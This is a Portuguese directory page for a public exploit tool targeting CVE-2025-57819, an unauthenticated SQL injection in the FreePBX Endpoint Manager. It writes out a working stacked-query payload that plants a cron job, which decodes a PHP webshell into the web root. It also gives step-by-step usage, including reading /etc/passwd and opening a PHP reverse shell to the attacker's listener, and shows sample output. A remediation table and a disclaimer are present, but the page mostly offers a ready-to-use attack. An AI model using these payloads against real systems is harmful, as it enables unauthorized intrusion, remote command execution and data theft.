Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
freepbx-endpoint-sqli-rce — Injeção de SQL não autenticada no FreePBX Endpoint Manager (CVE-2025-57819) que injeta um webshell PHP agendado via cron para execução remota de código. | Kitploit
Ferramentas/GitHubGitHub/jf-gondim/freepbx-endpoint-sqli-rce
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e EducaçãoDesenvolvimento de Payloads
GitHubjf-gondim/freepbx-endpoint-sqli-rce

freepbx-endpoint-sqli-rce

Injeção de SQL não autenticada no FreePBX Endpoint Manager (CVE-2025-57819) que injeta um webshell PHP agendado via cron para execução remota de código.

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
Ver Repositório
há 2 mesesAinda não revisado

CVE-2025-57819 — Injeção de SQL no Módulo Endpoint do FreePBX → Execução Remota de Código

Resumo

O FreePBX é a GUI web de código aberto para o Asterisk PBX, amplamente implantada em ambientes de telefonia empresarial. O módulo Endpoint Manager expõe um manipulador AJAX em /admin/ajax.php que aceita um parâmetro brand e o interpola diretamente em uma consulta SQL sem sanitização. Um atacante remoto não autenticado pode injetar SQL arbitrário, inserir uma linha na tabela cron_jobs e fazer com que o daemon cron do FreePBX grave um webshell PHP executável na raiz web — resultando em execução remota de código não autenticada em aproximadamente um minuto.


Detalhes da Vulnerabilidade

CampoValor
ID CVECVE-2025-57819
Pontuação CVSS9.8 (Crítica)
Vetor CVSSCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWECWE-89 — Neutralização Incorreta de Elementos Especiais usados em um Comando SQL
ComponenteMódulo Endpoint Manager do FreePBX
AfetadoFreePBX 17.x (sem patch)
CorrigidoFreePBX 17.x (com patch)
Vetor de AtaqueRede — Nenhuma Autenticação Requerida

Análise Técnica

A requisição vulnerável tem como alvo o manipulador de comandos AJAX do Endpoint Manager:

root@kitploit:~
GET /admin/ajax.php?module=FreePBX%5Cmodules%5Cendpoint%5Cajax&command=model&template=x&model=model&brand=<PAYLOAD> HTTP/1.1
Host: <target>

O parâmetro brand é concatenado em uma consulta SQL sem escape ou declarações preparadas. Um atacante fecha a string da consulta e anexa uma segunda instrução:

root@kitploit:~
x' ;INSERT INTO cron_jobs
  (modulename, jobname, command, class, schedule, max_runtime, enabled, execution_order)
VALUES
  ('sysadmin', 'webshell',
   'echo "PD9waHAgc3lzdGVtKCRfR0VUW2NtZF0pOyA/Pg=="|base64 -d >/var/www/html/webshell.php',
   NULL, '* * * * *', 30, 1, 1) --

A entrada de cron injetada é executada a cada minuto sob o proprietário do processo do servidor web/Asterisk e grava:

root@kitploit:~
<?php system($_GET[cmd]); ?>

em /var/www/html/webshell.php, permitindo execução de comandos do SO não autenticada via HTTP.

Causa Raiz

O manipulador AJAX do Endpoint Manager constrói SQL dinamicamente usando formatação de strings em vez de consultas parametrizadas. O campo brand nunca é validado ou escapado antes de ser incorporado em uma instrução SELECT, tornando-o trivialmente injetável.

Cadeia de Ataque

root@kitploit:~
Attacker  ──GET (SQL injection)──▶  /admin/ajax.php  ──INSERT──▶  cron_jobs table
                                                                          │
                                              FreePBX cron daemon (≤60s) │
                                                                          ▼
Attacker  ──GET ?cmd=id──────────▶  /webshell.php  ◀── written ──  cron exec

Uso do Exploit

Requisitos

root@kitploit:~
pip install requests urllib3

Argumentos

root@kitploit:~
  -t, --target    Target IP address or hostname  (required)
      --timeout   Seconds to wait for target availability (default: 30)
      --delay     Seconds to wait for cron job to execute (default: 65)

Passo a Passo

1. Execute o exploit contra o alvo:

root@kitploit:~
# Basic — wait 65 s for the cron job to fire
python3 exploit.py -t <IP>

# Use hostname
python3 exploit.py -t connected.htb

# Extended cron wait on slow targets
python3 exploit.py -t <IP> --delay 90

2. Se o webshell for confirmado, interaja diretamente com ele:

root@kitploit:~
curl "http://<IP>/webshell.php?cmd=id"
curl "http://<IP>/webshell.php?cmd=cat+/etc/passwd"

3. Faça upgrade para uma shell reversa via webshell:

Inicie um listener na sua máquina:

root@kitploit:~
nc -lvnp <LOCAL_PORT>

Em seguida, acione uma shell reversa em PHP através do parâmetro cmd (codificado em URL):

root@kitploit:~
curl "http://<IP>/webshell.php?cmd=php+-r+%27%24sock%3Dfsockopen%28%22<LOCAL_IP>%22%2C<LOCAL_PORT>%29%3Bsystem%28%22%2Fbin%2Fbash+%3C%263+%3E%263+2%3E%263%22%29%3B%27"

O payload decodificado da URL enviado como cmd é:

root@kitploit:~
php -r '$sock=fsockopen("<LOCAL_IP>",<LOCAL_PORT>);system("/bin/bash <&3 >&3 2>&3");'

Saída Esperada

root@kitploit:~
 ╔═══════════════════════════════════════════════════════════════════╗
 ║  FreePBX Endpoint Module  ·  SQL Injection → Cron Webshell       ║
 ║                       CVE-2025-57819                              ║
 ╚═══════════════════════════════════════════════════════════════════╝
  CVE ID      :  CVE-2025-57819
  Component   :  FreePBX Endpoint Module
  Affected    :  unpatched 17.x   →  Patched: patched 17.x
  CVSS Score  :  9.8 (Critical)
  CVSS Vector :  CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  CWE         :  CWE-89 — SQL Injection
  Type        :  Unauthenticated SQL Injection → Cron-scheduled PHP Webshell
  Reference   :  https://nvd.nist.gov/vuln/detail/CVE-2025-57819

  14:03:11 [*] Probing target <IP>  (max 30s) ...
  14:03:12 [+] Target is alive — HTTP 200

  14:03:12 [*] Inject endpoint : http://<IP>/admin/ajax.php
  14:03:12 [!] Injecting cron job via SQL injection ...

  14:03:12 [+] Injection request sent
  14:03:12 [*] Waiting 65s for cron job to fire ...
  14:04:17 [*] Probing webshell at http://<IP>/webshell.php?cmd=id ...
  14:04:17 [+] Webshell is active — command output:

    uid=997(asterisk) gid=993(asterisk) groups=993(asterisk)

  14:04:17 [+] Webshell URL: http://<IP>/webshell.php?cmd=<command>

  14:04:17 [+] Exploit routine complete.

Nota sobre o tempo. O --delay padrão de 65 segundos garante que o daemon cron (que dispara no início de cada minuto) tenha tido pelo menos uma oportunidade de executar a tarefa injetada. Em alvos lentos, aumente para --delay 90 ou --delay 120.


Remediação


Referências

  • NVD — CVE-2025-57819
  • CWE-89: Injeção de SQL
  • OWASP: Injeção de SQL
  • OWASP Top 10: A03 Injeção
  • FreePBX Project
  • PoC de Referência do watchTowr Labs

Aviso Legal

Este exploit é fornecido estritamente para fins educacionais e testes de segurança autorizados. Use apenas contra sistemas que você possui ou para os quais tenha permissão escrita explícita para testar. O uso não autorizado é ilegal e antiético.

Baixar ferramenta
PrioridadeAção
CríticaAplique imediatamente o patch do fornecedor do FreePBX para CVE-2025-57819
CríticaRemova quaisquer artefatos existentes de /var/www/html/webshell.php
AltaRestrinja o acesso a /admin/ajax.php a fontes de rede autenticadas e confiáveis
AltaAudite e sanitize todas as consultas SQL no Endpoint Manager — use declarações preparadas
MédiaRestrinja a tabela cron_jobs: limite quais funções podem executar INSERT
MédiaAplique uma regra de WAF que bloqueie padrões de consultas empilhadas no endpoint AJAX
BaixaExecute o processo FreePBX/Asterisk sob uma conta de privilégios mínimos, sem acesso de escrita à raiz web